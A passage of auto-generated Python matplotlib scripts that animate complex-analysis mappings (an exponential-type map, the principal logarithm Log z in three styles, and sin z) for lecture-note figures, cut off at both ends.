TITLE = '$w=\\frac{e^{sz}-1}{s}+s,\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-1, 1, -3.141592653589793, 3.141592653589793, 4, 8)
HILITE = [13, 22]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal logarithm $\mathrm{Log}\,z$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 16.9 and Figure 16.1, p. 86 (ch16:234, 273); Definition 16.10, p. 86 (ch16:293)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (lg(z))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $\\mathrm{Log}\\,z$'
TITLE = '$w=(1-s)\\,z+s\\,\\mathrm{Log}\\,z,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.36787944123356736, 2.718281828, 5, -3.121592653589793, 3.121592653589793, 13)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal logarithm $\mathrm{Log}\,z$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Theorem 16.9 and Figure 16.1, p. 86 (ch16:234, 273); Definition 16.10, p. 86 (ch16:293)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (pw(z, max(1-s,1e-6)) - 1)/max(1-s,1e-6) + max(1-s,1e-6)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'circles straighten into vertical segments, rays into horizontal lines;\nthe cut opens to $\\mathrm{Im}\\,w=\\pm\\pi$'
TITLE = '$w=\\frac{z^{\\sigma}-1}{\\sigma}+\\sigma,\\ \\sigma=1-s,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.36787944123356736, 2.718281828, 5, -3.121592653589793, 3.121592653589793, 13)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The principal logarithm $\mathrm{Log}\,z$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Theorem 16.9 and Figure 16.1, p. 86 (ch16:234, 273); Definition 16.10, p. 86 (ch16:293)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (pw(z, max(1-s,1e-6)) - 1)/max(1-s,1e-6) + max(1-s,1e-6)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'circles straighten into vertical segments, rays into horizontal lines; the cut opens to $\\mathrm{Im}\\,w=\\pm\\pi$'
TITLE = '$w=\\frac{z^{\\sigma}-1}{\\sigma}+\\sigma,\\ \\sigma=1-s,\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.36787944123356736, 2.718281828, 4, -3.121592653589793, 3.121592653589793, 8)
HILITE = [9, 22]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""The sine $\sin z$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Theorem 17.10 and Figure 17.1, p. 92 (ch17-trig.tex:233, 278)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (np.sin(z))
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $\\sin z$'
TITLE = '$w=(1-s)\\,z+s\\,\\sin z,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1.5707963267948966, 1.5707963267948966, -1.2, 1.2, 7, 7)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
